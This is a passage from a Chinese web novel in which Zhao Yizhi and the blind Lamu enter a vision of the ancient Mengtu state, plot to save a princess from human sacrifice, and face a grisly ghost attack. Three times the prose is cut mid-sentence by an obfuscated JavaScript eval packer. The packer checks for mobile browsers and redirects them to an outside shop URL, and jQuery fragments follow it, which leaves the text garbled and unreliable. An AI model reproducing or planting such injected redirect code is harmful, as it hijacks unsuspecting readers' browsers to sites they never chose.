他转头朝刚才的大爷跑去,直接伸手搭在他头顶上,没再多说半句废话。弯腰劳作的大爷好似不知道自己被触碰,依旧埋头苦干。只是可惜得很,他的信息之中全是平淡又清苦的日子。赵义之收回手,默默盯着大爷弯曲的后背看了几秒,转身去找另外几名在田里劳作的人,也不废话,直接用手摸。 最终,依旧没有得到关于本位的线索。 他失望地回到拉姆身边,拿过青铜杖:“再往前走走,信息里说前面有村庄。” “不去村庄。”拉姆指向另一条路,“进城。” “有城?行,走。”赵义之倒也干脆。 若论信任,赵义之对拉姆是毫无保留的,毕竟如果当年拉姆没有将他从死后世界里拉回来,想必真正的赵义之在五年前就英年早逝,也不可能还有如今的家庭幸福。哪怕拉姆要用他的载体来取暖——那还是有点难过的。 “一个人骑马……过河……去打架?”赵义之抬头望着城门上的文字念道。 顺着拉姆所指的那条路往前走,约莫一公里之外有条水波青碧的护城渠,走过渠上的石桥便是连接夯土墙的高大城门。赵义之站在城门下,看着石墙上雕刻的文字思索沉吟。 “是‘孟涂’。”拉姆纠正道,“那两个金文是孟涂。” 赵义之转头看着拉姆,真诚发问:“你怎么知道不是‘一个人骑马过河去打架’?你又看不见。” 拉姆沉默片刻,道:“因为这里是孟涂国,是阴女的故国。” “孟涂国……”赵义之摇摇头,“没听过。” “殷商的方国之一。”拉姆走进城门。 赵义之快走两步追上他:“也就是说,阴女是商朝时期的人?这寿命都赶上神仙了。那你呢,你是哪儿的人?” “让开让开!” 身后传来男人的大喊声,赵义之抓住拉姆的胳膊边往一旁退边回头看。来人骑着马,一手缰绳一手高托举着青铜盒,急匆匆自城外过街道往宫殿而去。 “跟着那个人,他往哪儿走我们就去哪儿。”拉姆话是这么说,可脚却没动。 看着骑马男子笔直往前消失在转角处,赵义之也不着急:“可他已经不见了。但是我很聪明,知道信息传输不靠走路。” 拉姆淡淡勾起嘴角:“对。你很聪明。” 受到表扬,赵义之很高兴。 拉姆再次浅浅笑了笑,手穿过赵义之的腋下抓住他的手臂:“走,去追那个骑马的人。” 赵义之正想说什么,忽觉身体像是被不断往前吸引,城中街景迅速模糊的残影慢慢地,竟变成夜空中的流星雨,从他们身边飞过。他置身于繁星重,忍不住好奇,伸手拦下其中一颗。 那流星便直接化在他眼底。 ———— ????年。 白色巨石搭建起的巍峨神圣宫殿中,粉紫色的花开满庭院,带花的藤蔓缠绕着圆形石柱向上攀延,便也成了装饰。 阳光为这座建于大陆之上的宫殿带来暖色,使冰冷的石头也泛起黄色的光。 悬挂于塔楼最高处的金钟被敲响,铛——铛——铛—— 幸福的欢笑声随着金钟最后一声的敲响充满整个宫殿。两名巨人,跪坐在面朝海洋的广场上。身穿洁白长衫的人们怀里抱着装满花瓣的篮子,或是坐在巨人肩上,或是在广场上围出一条圣洁的通道,一把一把抓起篮中的彩色的花瓣,朝天上撒去。花瓣被风吹散,飘得满天都是。 “拉姆和哈雨来了!” 宫殿里走出来一男一女,皆是身着白色长袍,肩上披着珍珠串成的罩衫,腰上系着贝壳腰链。拉姆长而卷曲的金色头发编成辫子,用白色的布条绑着,垂在背后,金色的眼睛里全是笑意。而哈雨,即将成为拉姆妻子的哈雨,长着尖尖的耳朵,长裙盖过脚背,勾勒出妙曼的线条,柔顺的黑色长发在日光之下泛着大海的光泽,柔情似水的双眼如紫水晶般闪耀。 “祝贺你们,拉姆、哈雨,我亲爱的挚友!”广场左边红发褐眼白肤色的巨人大声送上祝福。 “拉姆、哈雨,我真心为你们感到高兴。”广场右边白发蓝瞳黑肤色的巨人带着内敛柔声恭贺。 “诺恩、亚索,谢谢你们!”拉姆露出灿烂、热烈的笑。 ———— “到了。”拉姆松开赵义之的衣袖。 眼底的画面戛然而止,一时间,赵义之竟不知是该先惊讶有巨人,还是该惊讶拉姆居然结过婚,或是该惊讶拉姆竟也能笑得那么灿烂。 “拉姆……”赵义之收起心神,小心试探着问,“你的眼睛为什么会失明?” 拉努张了张嘴,说:“是赎罪。” “你……犯了什么罪?” 拉姆感知到什么,问:“你刚刚看到了什么?” 赵义之尴尬地笑笑,有些心虚:“也没什么,就是呃……你、你结——” “吁——!”骑马的男人此时才倒,他翻身下马将缰绳扔给守宫门的侍卫,拿出玉质的牙璋举在面前,“陛下命我向涂阿王传圣诏。” 侍卫双手恭敬地接过牙璋确认,弯腰归还,让至一旁放他进去。男人收好牙璋,搂着青铜盒大步走进孟涂王宫。 接到通报的涂阿王走下王座迎接,跪坐两旁的臣子也随他一同起身,走到殿中央。 传诏的男人走进来,双手托着青铜盒道:“我奉陛下的命令,来传诏。” 涂阿王的目光落在男人手中的青铜盒上,眉头不禁皱起:“陛下可说过,这是什么诏令?” “陛下只交代,务必将诏令交到涂阿王手中。”男人再次将手中的青铜盒往前送了送,“请涂阿王接诏,我好回去向陛下交差。” 涂阿王脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263938|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色难看,还是不得不走上前,双手接下青铜盒:“孟涂王涂阿……接诏。” 男人面色松懈,朝涂阿王行了个礼,转身走出大殿。 涂阿王端着青铜盒的手不住颤抖,抚摸着上面的花纹迟迟不敢打开。他身后的一名年轻男人走上来,问:“父王,您不打开看看么?” 涂阿王长叹一口气,将青铜盒递给身旁的儿子:“你来开。” “是。”男子抬眼观察一番涂阿王的脸色,接过青铜盒缓缓打开。 “难道涂阿王知道诏令的内容?”赵义之转头问拉姆。他们跟着送诏的男人来到大殿。守门的护卫瞧不见他们似的,根本没拦。 连大殿上的人,也全然没朝他们看来一眼。 “这个时期正好是举行殷礼的日子。”拉姆说,“每个方国都会收到内容差不多的诏令。” “什么内容?” “要人。” “结婚?” 打开青铜盒拿出龟背过目后的男子愕然抬起头,不可置信地看向自己的父亲:“陛下要……要我们……” “去准备吧。” 涂阿王抬手一挥,转身走回王座。 “这要我如何准备?!陛下要的是……!” 再端坐好时,涂阿王已然恢复如常:“明日,你带女叔前往殷都。” 男子想再争取,正要说话便被涂阿王怒目瞪来,只好闭嘴接旨:“儿臣谨遵王命。” 听到此处,赵义之也反应过来:“是要送这个叫女叔的去殷都参观祭祀?” “不是参观,是‘参加’。” “祭品?!”赵义之脱口而出心里的第一个想法。 “跟着他走。” 赵义之转头看一眼坐在王位上的中年男人,再回头时,拉姆已经跟着那年轻的男子走出大殿。他只好跟过去:“不是要找本位吗?” “本位不在大殿上。” “你怎么知道?”赵义之回过味来,立马追问,“你是不是知道本位在哪儿?” 拉姆微微摇头:“我还没有感知到本位的方向,大概是条件没达到,现在还未出现在茧房里。” “条件是什么?” 拉姆忽然停下脚步,像是思索般沉默片刻,然后转身面朝赵义之:“茧房形成的那一刻,里面的信息就已经固定存在了。本位的信息也早在这里面,只是没有拟态。我能推断出它的拟态什么时候出现,但无法直接获取它的信息。而你,应该可以。” 赵义之对自己这项本事毫无头绪:“下载本位的信息?” “不是。目前的你还无法下载本位的信息。” “那我该怎么做?” “和我缔结契约,成为我的执行者。”很快,拉姆又解释,“正如阿卡夏无法对现实世界直接造成影响,我也无法对信息世界直接造成影响。” 赵义之抱起双臂,略有思考地盯着拉姆:“所以你和阿卡夏都想和我缔结契约?” 拉姆没有回话,于是赵义之又问:“缔结契约后,我还有自主意识吗?” “有。” “也能自由行动?” “嗯。”拉姆解释,“缔结契约后,你将会成为我触及信息本身的媒介,其他没有任何变化。只是,结契后,我可以改变你的信息,你也可以将我的身体作为临时载体来使用。” 听起来似乎并没有什么损失。赵义之苦思一番,将拉姆的话归纳总结,得出更容易理解的说法:“也就是说,你可以帮我变强,而我可以附在你身上使用你的身体?” 拉姆轻轻笑了一下:“这么理解也没错。” 还有个更简单的说法能概括这种关系。赵义之指向拉姆:“你是巫觋。”又指向自己,“我是鬼。” 虽然多有不同,但也毫无关联。 23.女叔 “结契约的事不着急,你可以慢慢考虑。” 拉姆并非临时冒出来的想法,阴女曾和他提过,不过倒不急于眼下这一时。他抓住赵义之的手臂,抬起左脚往前迈,脚跟、脚掌、脚尖。就在拉姆脚尖再次抬起的刹那,巨大的引力又如一只无形的手,拽住赵义之的身体往前拉。视野里再次出现无数流星,赵义之没有任何犹豫,直接伸手抓住其中一颗。 ———— 公元????年。 明媚的阳光照进窗户,洒在胡桃色的木摇椅上。摇椅上有只黑猫正卷着身体在睡觉,耳朵不时抖一抖。 这是一间书房,主人不在。他今天难得出门去了,直到下午才提着猫粮和罐头回来。 大门刚一开,睡觉的黑猫听见响动立刻抬起头,等了等,跳下椅子伸个懒腰,翘起尾巴踩着轻轻的步子去迎接。 回来的人站在大厅中,打开一个罐头放在地板上:“吃饭了。” 黑猫先围着他蹭了蹭,甜腻地喵喵叫了两三声,才去吃罐头。 牛仔外套里的手机响了,男人拿出来,一边接听一边往房子里面走:“喂?” “拉姆先生,下午好,我是阿尔谢尼。”电话那头是个男人,说着一口流利的德语。 拉姆同样也用德语与他交流:“下午好,阿尔谢尼。” “下周您有空吗?” “没什么特别的事要做。怎么了?” “是这样的。下周,莱因哈特先生想带自己的两个孩子去白龙镇与您见面,如果您有时间,他希望您务必同意。” “我有时间,你们过来吧。” “好的,我会转告莱因哈特先生。再见。” 对面的男人挂断电话,拉姆也将手机重新放回外套的衣兜里。 “喵~”吃完罐头的黑猫踮脚跑过来,围着拉姆的小腿蹭,看上去十分满足。 拉姆弯腰抱起它,一步步走上楼梯:“我忘记买了。” “喵嗷!嗷!” “明天给你买好不好?” “嗷~” ———— 比起拉姆养猫,赵义之更惊讶的是自己竟然能听懂德语。这或许,也是因为眼前的自己是信息拟态的缘故。 “拉姆,你养过猫?”赵义之问。 正巧此刻已追上手拿青铜盒的男子,拉姆便松开赵义之的手臂:“没有。” “没有?”赵义之感到意外。 男子快步走进前方的屋子,轰走里面的侍女转身关好门。拉姆跟过去,径直推门而入,全然没有礼貌客气的打算。 “这么直接的吗。”赵义之跟在拉姆身后,大有一种狐假虎威的错觉。他跨过门进入屋内,怔住。 屋内的一男一女听见开门声,中断谈话双双转过头来。还是男子先回神,皱起眉头上下打量突然出现的两位不速之客,略带威严:“你们是谁?” 赵义之也上下打量起房中的女子,随后扭头看向身旁的拉姆,小声问:“她是阴女?” 拉姆走上前,对男子说:“我们可以帮忙。” “帮什么忙?”男子十分戒备,“来人!” 在三双眼睛的注视下,拉姆折身返回关好房门,这才又进到房中,淡淡地说:“帮你放走女叔。” 坐于床榻边上的女子闻言不禁站起身,莲步轻移到哥哥身后攥住他胳膊处的衣袖,略是惊恐地看着拉姆。她是三千多年的阴女,年仅十六,懵懂天真。 男子眯起双目直勾勾盯着拉姆,眼神中透着一股狠厉,右手已然悄悄握住腰间的剑柄:“你们不是我孟涂人。受谁指使,有何目的?” 赵义之走到拉姆面前一挡,将抗在肩上的青铜杖重重杵在地上,和颜悦色地笑道:“有话好好说嘛,嘴又不是只能用来吃饭,我们又不会害你。” 见到青铜杖,女叔与哥哥都睁大眼睛:“祝祭的神杖怎么在你手里?!” 赵义之胡诌:“捡到的。” “满口胡言!”男子逼近一步,握住剑柄的手上已有青筋鼓起,“你们对我孟涂的祝祭做了什么?!如实交代!” 拉姆的手恰是时宜地拍上赵义之的肩,随后指着案桌上已经打开的青铜盒:“商敛王派人送来诏令,要你们将女叔送到殷都做女祭。不止孟涂,其他几个方国同样收到了征收的诏令。近日,有方国想学犬戎,脱离商方的掌控,这次的女祭是警告。” 男子眉头深锁,心中暗惊:“你们是商敛王派来的人?” 拉姆没有回答,而是继续说:“你打算在路上假装遇上盗匪,偷偷放走女叔,将侍女送去殷都。” 拉姆的话音刚落,眼前的男子便迅速抽出腰间的铜剑使出全身力气朝他劈来。拉姆没躲没动,倒把赵义之急得下意识挥动青铜杖去挡。谁知他根本架不住对方的威力,虎口被震得一疼,握不住青铜杖将它掉在地板上。不过男子的铜剑也因此歪了方向,从拉姆身边划过重重点在地板上。 铜剑带动的气流吹动拉姆鬓角的发丝,而他却依旧纹丝不动。男子被拉姆泰然自若的模样激怒,立即抬剑再次发起攻击。拉姆似乎早有预料,只后退一步侧身闪开。 他每每都轻易躲过,男子愈发暴躁,高喊了好几声来人。冲进来的护卫怔愣半秒,而后默契地将武器对准拉姆。 “打不过就喊人,小学生啊你。”赵义之甩甩发麻的右手,捡起手杖来到面带惊惧的女叔身边,犹豫了一下,抓住她的手臂问,“你哥怎么称呼?” 女叔怯生生地看着赵义之,眼中的泪光不知究竟是在怕眼前的男人,还是在怕将至的死期:“子良。” 她这副模样让赵义之浑身觉得别扭。他对女叔笑笑,随后又将手杖架在她脖子上对子良喊道:“子良,再不停手,你妹妹可就有危险了。” 子良刚举过头顶的青铜剑总算在即将挥下之前顿住。他朝声音传来的方向回过头,凶狠地瞪着赵义之。 “这就对了嘛,和气生财。让你的人先出去,我们聊两句。”赵义之说着,抓住女叔手臂的手加深了几分力。他是于心不忍的,但又不得不这么做。 看见妹妹吃痛的模样,子良愤愤收起剑:“都退下。” “顺便关下门。”赵义之叮嘱。 “放开女叔!” 等到涌入的护卫都退出去,赵义之立马松开手。刚得自由,女叔便跑向子良,害怕地缩成一团。 “别害怕,有大哥在。”他微笑着宽慰几句,再抬头看向赵义之时,眼里独剩寒意,“你们究竟想做什么?” 赵义之朝拉姆抬抬下巴:“你问他。” 拉姆抬起眼眸,单刀直入:“我们愿意假扮盗贼,在路上带走女叔。”察觉出兄妹俩的怀疑,拉姆继续说,“找其他人,即便是身边最信得过的侍卫,你都无法保证女叔真能逃脱,但是与孟涂和殷商都无瓜葛的我们,就可以。” 子良的目光在拉姆和赵义之身上来回扫过:“我凭什相信你们?” 拉姆顿了顿,说:“不凭什么。” “咳咳。”赵义之及时打断他们的对话,“我们当然不是无缘无故帮你们,其实是……”他瞥一眼女叔,“我哥喜欢女叔,不希望她去送死。” 女叔顿时红了脸:“我不认识你哥哥。” 子良皱眉:“你们想要女叔?” “不止想要,是想‘救’。正如你不希望自己妹妹去送死,我哥也不想让自己喜欢的人去送死。” 兄妹二人相视一眼。 “倘若真能救女叔,伯良感激不尽。”子良抱拳作礼。 “不客气。”赵义之放下青铜杖,揉着发酸的手臂直接在案桌边席地而坐。他自己都奇怪,身为信息拟态竟也会觉得累。 “二位可有具体计划?” “不如坐下说?”赵义之指指席榻,“站着怪累人的。” “好,坐下说。”子良大步走过来,撩起避膝盘腿坐下,整理好下裳。 女叔小心翼翼抬眸看了赵义之一眼,挨着哥哥坐下。只有拉姆,像块木头似的还站着。于是赵义之又起身将他拉过来,按住他的双肩强行让他坐。 子良转头盯着青铜杖看了片刻,问:“这根青铜杖当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273872|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是你们捡到的?” “祝祭若是知道自己的神杖丢了,肯定会派人四处找的。”女叔说道。 眼前的女叔虽然与之前认识的阴女长得一模一样,可气质却是天差地别。赵义之对尚且带有稚气的女叔露出和善的笑容:“等见到他,我们一定归还。” “关于救女叔……”子良的目光细细打量拉姆,“是这位对女叔有意?” “不是不是。”赵义之连连否认,开始胡说八道,“我那位哥哥没来,他不好意,所以特地委托我们来商量。” 子良垂下眼帘,余光瞥见身旁的妹妹满脸担忧,便握住她的手,勉强牵起安慰的微笑。 赵义之又说:“况且,拿活人祭祀的风俗,太残忍了。” “不止是殷商,孟涂也有这样的习俗。”拉姆说完顿了顿,又说,“全世界各个地方,都有用活人祭祀的习俗。” “都是封建时期的糟粕。”赵义之忍不住嘀咕,“统治者为了巩固自己的地位,用神啊鬼的来控制百姓,骗得人不敢当出头鸟不敢闹事,自己的地位不就稳了。” “这位……”子良看向赵义之。 赵义之立刻报上自己的名字:“赵义之。” “赵兄。或许你说得有理,但神一定是有的。”子良的表情十分严肃。 赵义之笑着点点头,不想过多争辩。 信仰自由。 女叔深吸口气,抬起头坚定地看向对面的两个人:“商敛王逼迫父王送我去殷都做人牲,为的,不过是向周边方国彰显他商方的武力罢了。” 子良拍拍女叔的肩,柔声安慰她:“女叔放心,哥哥会保护你。”他又转头对赵义之和拉姆说,“明日大采,我带女叔启程,约莫大食过后便能出孟涂。”话至此处他忽然沉默下来,片刻后才继续,“等到了商方地界,二位便拌作盗匪将女叔接走。西北面有座山,你们带女叔走山路回孟涂。或者……去个安全的地方,等风波平息再回来。只要在西北山中的祭坛上留下一个符号,我便知女叔平安。” 拉姆站起来,不给赵义之询问的时间:“明天孟涂国境外见” “如此……”子良起身抱拳,“拜托二位了。” 赵义之茫然地跟着起身,压低嗓音问拉姆:“你听懂他说什么了?” “听懂了,走吧。别忘了拿上青铜杖。” 他的确险些忘了。赵义之拿起地板上的青铜杖,笑着和兄妹两人道过别,等到走出房子才开口问:“你和阴子良约了明天一起吃饭?”大食这个词他多少能猜出意思。 拉姆摇头的时候忍不住笑了:“他说明日八点左右出发,上午九点以后就能走出孟涂。而且他们不姓阴。” “不姓阴那姓什么?” 拉姆带着赵义之朝宫门外走:“姓孟氏涂。” 赵义之听糊涂了:“啊?姓氏不是一个东西嘛?” “这个时期姓氏是分开的。男用氏,女用姓,所以他们的正式名字是涂伯阿甫、涂伯良甫和孟叔英女。” 赵义之沉默片刻,忽然转头看着拉姆:“你是不是在逗我?” 拉姆的脸上闪过一丝不解:“我没有逗你。” “可你刚才说的,男用氏、女用姓,那也该是涂阿、涂子良和孟……孟女叔?”说到最后时,赵义之不禁露出古怪的表情。 “‘子’是尊呼,‘伯’、‘叔’是排行,意指老大老三,也要放在名字里。最后的‘甫’与‘女’,是性别。”拉姆如同抚摸孩子一般摸摸赵义之的脑袋,笑得像个慈祥的老者,“这是殷商时期取名的规则,就像现在取名的规则是姓氏加名字一样。他们平常称呼很少使用全名。” “嗯?”赵义之觉得不对劲,“女叔又是什么,小名?” “女子出嫁前不使用名,女叔是三女儿的意思。” 赵义之恍然大悟:“难怪阴女的身份证上是‘孟英’。我还以为是yin女的yin是‘殷商’的‘殷’。” 拉姆合上双唇收起笑容,片刻后才说:“是‘阴阳’的‘阴’。等找到青铜甗,或许你就明白了。” 24.很好吃哦 眼前是与三千年后的良田成片截然不同的风景,没有被人类过多干预的原始自然风景。躺在草地上睁眼盯着满是星河的天空发呆的赵义之,无聊得像一只被豢养在狭窄兽笼里的猎豹,只能眨巴着眼睛观察四周。 随后他默默坐起来,回过头看向拉姆,有些不知所措:“怎么办?”。 站在赵义之身旁的拉姆拿着青铜手杖:“跑。” 赵义之从拉姆脸上收回目光,再次环顾周围。 十来分钟前,拉姆带着赵义之爬上山丘,来到一处青草茂盛的地方。草冒过赵义之的小腿比齐膝盖,若是人躺下去,想必在两米开外谁也看不见。赵义之担心有蛇,正低头借着月光寻找,忽觉得肩上一轻——拉姆拿走赵义之扛在肩上的青铜手杖,往外走出七步,围着赵义之在草地上一圈圈画着什么。 赵义之只能看见倒下的草再没有立起来,伸长脖子十分感兴趣:“你在划阵?是不是可以加快茧里的时间流动?” “不是加快。”画好阵的拉姆走进来,“是膨胀。” 赵义之在等拉姆解释为何“膨胀”,可拉姆似乎没有继续说话的意思,于是他歪着头问:“我要们在这里待多久?” 拉姆面朝前方,手指在空气中轻轻拂过:“大约十分钟。” “十分钟,就可以抵一晚?” “嗯。” “这十分钟内我可以动吗?”赵义之怕自己又一个不小心惹出什么麻烦,提前问问总归是好的。 “可以动,别出去就行。”拉姆说,“即使出去再进来,时间也不同了。” 赵义之点头,老老实实坐下来,又嫌草长得太高遮挡视线,索性仰面躺下望着天空。片刻后,他忽然有感而发:“这里晚上肯定可以看见很多星星吧。” 话音刚落,原本的青天白日骤然黯淡,在赵义之错愕的目光下变成黑夜,迅速到他的眼睛无法立刻适应光线的变化,短暂失明数秒。然而赵义之天真地以为,这是拉姆划出的阵所带来的效果,直到旁边的拉姆轻声叹口气。 “怎么了?”赵义之心里涌上一股不安。 拉姆倒是淡定:“阵失效了。” “啊?!”赵义之猛地坐起身,用不可置信的表情望着拉姆,“怎么会这样?” “你是信息,可以在一定层度上影响茧房。” 赵义之茫然又委屈:“我什么都没做……吧?”他有些不确定了。 “是你脑子里的想法,你的念头。” 赵义之深吸一口气:“我的错,我忍不住想象了一下夜晚美丽的星空……”话说到这里他陡然灵光一闪,立刻露出喜色,“要是我再努力想想白天的样子,是不是就能变回去了?” 拉姆思考半刻后说:“可以试试。” “光想就行了对吧?”赵义之最后依依不舍地看了一眼璀璨的星空,闭上双目,想象着时至白日,子良送女叔去殷都的队伍从山丘下走过的场景。 “唔!” 身边的拉姆没由来地闷哼一声,打断赵义之的想象。他本想装没听见,可奈何心里委实在意得很,无法集中注意,最后不得不睁开眼朝拉姆看去。拉姆躬身捂着心口,拧着眉头,像是格外痛苦的样子。 赵义之立马蹦起来,扶助拉姆的手臂急切地问:“怎么了?不会是我影响到你了吧?我、我没想这个。” 拉姆摇摇头,缓缓抬手指向前方:“我们被报复了。” “报复我们?谁啊?”顺着拉姆手指的方向,赵义之抬头看去。 美丽星空照耀下的无际原野上,凭空出现数不清的黑色人影。它们身着褴褛的短衫,保持着生前被折磨时的模样:有的脖子断了头歪在胸前、有的腿断了插在肚子上,在并不明亮的星夜里显得尤其怪异,像在告诉能看见他们的人——这就是死亡。 “怎么办?” 拉姆勉强直起身:“跑。” 赵义之主动抓住拉姆的手臂,顿时,一股巨大的引力从背后传来,像道铁钩勾住背脊骨不断往后拽。可与之前的两次皆不同,眼前的景物还没来得及变成流星就已恢复原貌,不过好在是与那些站在草丛间的阴森人影拉开了十多米的距离。 “拉姆?”即使天上有星光,可奈何四周没有其他照明物,赵义之看不清他究竟怎么了。 拉姆拽紧赵义之的衣袖,竟是有些发抖:“我没事。” 嗞……草丛间冒出一团青绿色的火,然后又是一团。刚才还站定不动的人影左右缓缓摇晃起来,同样的节奏、同样的幅度。越来越多的火光照在人影身上,显露出他们死灰色的皮肤。 “为什么不吃?” “想吃么?” “吃吧……” “吃啊……” “吃啊!” 火烧到他们身上,一块一块被烧熟的肉从身体上掉下来,散发出诡异的肉香。 幽幽的哭声中夹杂着嘶哑的低沉呢喃,还有清晰的鼓声在远处响起。 咚、咚、咚…… 下个刹那,诡异的人影突然消失不见,连那些令人毛骨悚然的声音也戛然而止。 周围再次陷入一片黑暗与死寂。 然后,什么东西踩在草叶上,在赵义之与拉姆周围一步一步走成圆圈,好似正在审视着、思考着,究竟该在什么时候突然靠近。 拉姆摇了摇赵义之,催促道:“快走,离开这里,去平坦的地方。” 发愣的赵义之不由得打了个寒战,还未完全回神,但他知道这个地方有问题,不能继续留下去,于是扶着拉姆迅速朝山丘外跑。拉姆的步子虚浮踉跄,身体的重量几乎全都落在赵义之肩膀上。 “你受伤了?”赵义之问拉姆。 “是我太大意了。”拉姆的声音中带着颤抖。 好在山丘不高,没用多久他们就跑了出来,到达视野完全开阔的地方。 “可以了。”拉姆停下脚步,瘫软无力地坐下。 赵义之也随之蹲下身,拍拍剧烈起伏的胸膛。刚才太过紧张浑身肌肉紧绷,以至于此刻一时的松懈,让他几乎没有力气再站起来。他没有休息的想法,身体却自作主张摆烂了。 “你伤哪儿了?没事吧?”赵义之转头问拉姆,却无意间看见拉姆胸膛正中间有奇怪的隆起,“你、你身体怎么了?” 拉姆深深低着头,气若游丝地回答:“我不知道。” 怎么会不知道?赵义之心中顿感疑惑,他缓缓探出手,摸向拉姆胸前圆滚滚的隆起。 “唔!” 赵义之的手刚轻轻碰到,拉姆再次发出忍痛的闷哼。 隔着中山装传来的手感是坚硬的,像是里面的胸骨鼓凸出来。赵义之抬眼看着拉姆垂耷的脑袋,试探又碰了碰那块隆起:“这是什么?” 拉姆摇摇脑袋,气息幽幽地说:“不知道,突然长出来的,很痛。” “我……能看看吗?”赵义之的手已经慢慢靠近拉姆衣领处的扣子,只要拉姆同意,他非得弄清楚究竟是什么不可。 “嗯……”拉姆应了一声。 本该是木制的纽扣,上面却裹着一层什么东西,摸起来又滑又黏。赵义之顾不得细想,用力搓了搓手指,哆哆嗦嗦解开中山装的纽扣——他是有些害怕的。好端端冒出来个东西,还是长在人身上,任谁都害怕。 拉姆的外衣下面还有一件白色的圆领衬衫。隔着单薄的衬衫布料,赵义之解纽扣的手指不时碰到里面的东西,虽然尚且不知那究竟是什么,可鸡皮疙瘩已经爬满他全身。难以抑制的恶寒油然而生。 当最后一颗纽扣被解开,赵义之的双手停顿片刻,才慢慢拉开衬衫的衣襟。 漆黑的夜晚里,他看不清拉姆胸前的究竟是什么,只知道那绝对不是胸骨,黑漆漆的,约莫和排球一般大小。他壮着胆子探出食指, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286892|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻触摸。这种触感很熟悉,冰凉、顺滑、有纹理,是毛发。他的手指顺着毛发缓缓往下,不知不觉间竟穿了过去,直接摸到拉姆的肚子。他翻过掌心慢慢收回手,指缝间的毛发随之柔软滑落。 是头发。 得出这个答案,赵义之不由得后背发毛头皮绷紧,手心一下子冒出细汗。转念想到长出着恶心玩意儿的拉姆比他更难受,他只好硬着头皮再次上手,必须弄清楚为什么拉姆的胸口会长出头发。 尽管心中已经有底,当赵义之拨开拉姆胸前的头发摸到底下的后脑勺时,依然感到两眼一黑。他揪住头发试着往外拽,可刚一用力,拉姆的唇齿间就漏出吃痛的呢语声。 赵义之只好松开力气:“这恶心的东西怎么长到你身上的?” 拉姆半张着嘴,重重呼吸着:“枉死之人留下的灵体……不希望我们救女叔……” “拉人垫背?” 拉姆摇摇头:“他们都是……死于孟涂的……活人祭祀……” 赵义之紧张的双肩稍稍往下沉,不知该说什么才好。 一声犹如什么东西裂开的极其细微的声音传进赵义之耳里,他紧张到吞咽了一口口水,慢慢扭头朝四周张望,确定没有出现任何诡异的情况才稍稍安心。 然而很快,同样细微的声音再次响起。 咔。 这回赵义之听得非常清楚,他僵硬地回头,盯着拉姆胸前长出来的后脑勺。 咔。 又是一声。 他深呼吸几次,做足心理准备,才终于伸手插进头发摸向那颗脑袋。 原本平滑的头皮上莫名出现坚硬的凸起,他用指尖仔细摩挲,正好摸到一块突然裂开的头皮,指甲盖一半大小的硬物如春笋般冒出来。光靠手感实在分不清究竟是什么,赵义之干脆拨开发缝,凑近了看。 是牙齿,一排排光滑杂乱的牙齿。 赵义之闭上眼睛小心收回手,被迫翘着兰花指拎起头发丝盖住长满后脑勺的颗颗牙齿,又将掌心狠狠在裤腿上猛搓几下,以求赶紧忘记刚才的感觉。 太他么恶心了。 “我该怎么做?”赵义之的声音才颤抖。 “帮我脱掉衣服。” “那你忍着点儿。”赵义之不敢耽搁,为了尽早弄掉镶嵌在拉姆身上的那颗怪异后脑,他强忍着浑身的阵阵发麻,像剥玉米叶一样将外套与衬衫一同脱下。 然后赵义之清楚地看见,拉姆的后背长出了一张溃烂的,女人的脸——有个女人的脑袋嵌入了拉姆的身体。 女人脸上紧闭的双眼忽然睁开,露出两个黑窟窿,嘴也随之裂出瘆人的弧度:“好吃么?我的眼睛,好吃么?” 赵义之倒抽口冷气,慌乱之下掐住了自己的人中,明明想赶快跑,却根本使不出力气。他死死盯着那张脸,左手拍打着拉姆的手臂:“下、下下一步怎么办?” 喀啦。 耳边突然响起骨头断裂的声音。 赵义之惊出一身冷汗,正打算循声转头看去时,却忽然听见拉姆的声音在咫尺之处响起。 “很好吃哦。” 喉咙仿如被无形之物扼住,心脏在漏跳数拍后猛地敲打胸腔的膈肌,隐隐作痛。他能感觉到自己的血液从末端急速回流,指间因此而发麻。额头上的汗顺着太阳穴流到脸颊,在夜风吹拂下,带走了脸上的温度。 “眼睛……很好吃哦。” “你、你别吓我,我胆子小。”赵义之害怕得快哭了,全身僵住无法动弹,大脑过电一般晕眩,冰冷的气息从头顶一阵阵袭来。 而就在他内心挣扎着究竟要不要跑的时候,拉姆的上身却突然往后仰,头顶抵住地面反拱出一个不正常的弧度。 喀啦。 是骨头断裂的声音。 长在胸前的头骨碌碌转动。 最后终于停下来,与赵义之面对面。 25.葬身之地 女人脸上黑不见底的两个眼洞中流出颜色深沉而粘稠的血,仿佛在此之前早已郁积了许多许多年。 